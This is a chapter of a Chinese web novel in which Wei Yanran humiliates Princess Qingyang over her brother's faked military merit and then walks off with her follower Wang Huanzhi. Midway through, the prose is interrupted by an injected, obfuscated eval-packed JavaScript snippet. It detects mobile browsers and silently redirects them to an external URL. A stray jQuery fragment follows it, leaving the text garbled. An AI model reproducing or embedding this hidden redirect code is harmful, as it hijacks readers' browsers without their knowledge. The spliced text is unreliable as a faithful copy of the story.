8. 第八章 军功
作品:《今天拆散太子夫妻了吗?》 卫燕然突然发作,让青阳县主有些措手不及,她结结巴巴地道:“什……什么?”
卫燕然挑眉,又冷声重复了一边自己的话,道:“我在问你:门口那块牌子,你们大长公主府到底是什么意思?针对卫家吗?”
卫燕然向来不着调,态度吊儿郎当。便是打你,脸上也都是笑着的。这还是她头一次在众目睽睽之下这般咄咄逼人。
一向没脾气的人突然发怒,总是让人害怕的。
青阳县主不想承认自己被吓到了,定了定神后,她想起了在边关的兄长。
没错,现在卫家早已失了君心,倒下也不过只是时间问题。祖母说过,皇帝姑父后面会慢慢把兵权过渡给兄长,到时候卫家再失了兵权,不过是秋后的蚂蚱罢了。皇帝姑父可是站在他们这边的。
没有君心,又失了兵权,卫家都要变得一文不值了,卫燕然又有何惧?
想清楚了这些,她心里轻松不少,色厉内荏地呵斥道:“谁给你的胆子来质问本县主?你有什么资格向本县主要解释?”
“说好听点,你是臣女。说难听点,你父母都去世了,你自己不过一介白身。让你参加宴会已经是大发慈悲,体恤英烈了。你可倒好,敢向我提要求,你也配?”
“说白了,你们卫家不过是靠着点兵权才在京中横行,没了兵权你们算什么?我哥哥迟早会……哼。”
青阳县主说着,拍案而起,头扬得高高的,像极了天鹅。
她身边的侍女听着前两句话时,还稳坐钓鱼台。听到第三句时坐不住了,可阻拦已经太迟了。
身为侍女她又不能直接去捂青阳县主的嘴,手刚拉上青阳县主的袖子,就被站起来的青阳县主掀翻在地。
于是只能一脸惶恐地看着青阳县主发挥。
好在青阳县主也不是蠢笨至极,堪堪在关键时候刹住了嘴。
院子里的气氛一度冷凝,不少人都低下了头,既不敢看青阳县主,也不敢看卫燕然。都怕自己不小心在此时当了出头鸟。
就在这鸦默雀静之时,卫燕然却笑了起来。
那笑声爽朗大气,笑得青阳县主浑身不自在,笑得她身上仿佛有蚂蚁在爬。
卫燕然弯着腰,一手捂着肚子,一手擦着脸上笑出来的眼泪。
青阳县主几次想打断这笑声,都没能打断得了。
最后她忍无可忍地爆发了,尖声道:“你在笑什么?不许笑!不许!你听到没有?”
卫燕然停了下来,脸上还挂着意犹未尽的笑意。
她道:“我还以为你们大长公主府是得了什么大机缘,居然敢直接和卫家叫板,结果居然就这?”
“一个假报军功的废材,居然成了你们公主府的底气了?”
“真是,不要太好笑。”
这句话就像一颗石头被丢入寂静的湖水,荡起层层的涟漪。众人开始小声地交头接耳,青阳县主几次妄图主持大局,都被大家忽视。
青阳见制止不了众女郎,只好又把目光投向罪魁祸首卫燕然。她眼含怨恨,厉声道:“你说谎!我哥哥才没有假报军功。你就是在嫉妒!”
见青阳县主破防,卫燕然反而温和起来。
她怜悯地看着青阳,就像在看一个不懂事的小孩一样。
“你说是就是吧。”卫燕然轻声笑道,“与其在这里和我掰扯,不若回去好好想想,你那在京城时便整日逗猫遛狗的兄长,怎么可能一夜之间变成守护边疆的大英雄?”
青阳县主怔愣住,心里冒出丝丝缕缕的恐慌。
是啊,哥哥在家里时便文不成武不就,做事拈轻怕重,当不得半点儿责。怎么可能在边疆半年就闯出一片天了呢?
不,不对。她不能怀疑哥哥。她不应该怀疑哥哥。一定是卫燕然,一定是她!是她陷害了哥哥!
她张了张嘴,正准备说什么。就被一个一脸慌张的侍女从身后拉住了。
那侍女拉着她,不知和她说了些什么,她一下子便跌坐在地,脸上一片空白。
看到这一幕,纵使青竹还没回来,卫燕然心里也有数了。
她冷眼笑着,起身拍了拍衣袖,道:“今日之事我记下了。我一向不和小孩计较,只和大人计较。所以麻烦你们这些伺候的,帮我转告一下大长公主……”
她露出一个明媚的笑:“日后做事的时候千万小心些,可别像去年那样毛手毛脚了。”
说完,便离开了座位。几位侍女小厮想阻拦却又不敢,最后只能眼睁睁地看着她离席。
卫燕然刚拐出小院,便撞上一个慌慌张张赶来,喘着粗气的小郎君。
那郎君大约十五六岁的样子,身穿白色交领圆袍,容貌清秀却故意蓄了些胡须,看着不伦不类的。此时正着急忙慌地跑过来。
撞到了人,他本来龇牙咧嘴地想道歉。但话在嘴边转了一圈,见是卫燕然便眼睛一亮。
“燕然姐?你没事儿啊。”他惊喜道,“我刚刚听说那个青阳故意为难你来着,所以特意过来看看。”
“我当然没事了。”卫燕然挑眉道,“倒是你,怎么这个样子?”
那少年不好意思地摸了摸嘴边的胡子,笑道:“红梅上次说她喜欢成熟点的男子。你看我现在看起来成熟点了吗?”
卫燕然眼神复杂地打量了他片刻,最后还是不忍直视地转过了头,道:“你开心就好。”
那少年倒是认真地纠正卫燕然的说法,道:“我开不开心不重要,重要的是红梅喜不喜欢……诶,说起来,红梅呢?”
“你出门不是都会带红梅的吗?今天她怎么不在这里?”
他一边说着一边往卫燕然身后看去,却被卫燕然嫌弃地推远。
卫燕然解释道:“我最近出门都带的是青竹。青竹回去帮我拿东西了。”
“哦。”少年失落地低下了头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303291|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
毕竟是自己的小弟,虽然平日里没什么用,但好歹人老老实实地给自己当了这么久的跟班,还给她介绍了不少世家的人脉。
于是卫燕然勉强安慰道:“你该庆幸红梅没来。就你今天这个样子,绝对靠近不了她三尺。”
那少年惊疑不定地摸着自己脸上的胡须,道:“真的?”
卫燕然点头,道:“真的。现在红梅又不在,我骗你做什么。”
那少年一下子就泄气了。
少年便是金陵王家“之”字辈最小的孩子,王焕之。现在王家当家人是他同父同母的亲兄长。因为同兄长年纪相差太大,所以基本上是被兄长当儿子养大的。
因为是上一代王家话事人的老来子,从小被娇宠。同他年纪相仿的辈分都比他低,同他辈分相同的又多已年过而立,不会和小孩子计较。故而在被卫燕然捡走前,是个天不怕地不怕的混世小魔王。
几年前在京城里耍横时,阴差阳错碰到了卫燕然。挨了一顿揍后,从此就成了卫燕然的跟班,赶都赶不走。卫燕然无奈,被迫收下了这个小弟。
受到了打击,王焕之垂头丧气地跟在了卫燕然身后。
卫燕然也不管他,自顾自地向前走着。
眼见走的路越来越偏,王焕之总算是回过神来,问道:“燕然姐,我们这是去哪啊?”
卫燕然理直气壮道:“不知道。”
王焕之噎了一下,道:“您不知道一个劲儿地走什么?”
卫燕然摆了摆手:“走到哪算哪。怎么,你有意见?”
说着,卫燕然停了一下脚步,抬眼看他。王焕之嘴角抽动,连声道:“不敢。”
最后还是老实跟在卫燕然后面。
走的路越来越偏,但风景却越来越好,看得人心旷神怡。
不过没过多久,王焕之速度便开始慢了下来。
“燕然姐,我们歇会儿好不好?”王焕之微微喘着气道,“我刚刚找你的时候就是跑着去的,现在有点走不动道儿了。”
王焕之因为是老来子的原因,身体一直不太好。这还是他跟着卫燕然学了点儿皮毛武艺之后,好了不少的身体了。从前更差,这也是他家里人娇惯他的原因之一。
卫燕然估摸了一下男宾院子到女宾院子的距离,感觉这孩子确实有些累了,便道:“行吧。我找个地儿让你歇歇脚。”
王焕之连连点头。
卫燕然转了两圈,找了一棵还算粗壮的树。示意王焕之过来后,拎着王焕之的衣领就把人送了上去。
“燕然姐!”王焕之抱着树干,不满地抗议道。
卫燕然嘴角带笑,正想调笑王焕之两句。突然耳朵微动,小声呵斥道:“别说话,有人来了。”
说完,一个飞身便也上了树干。
王焕之等了一会儿,也没看到卫燕然口中的来人。正想说话,就见一男一女步履款款地朝这边走来。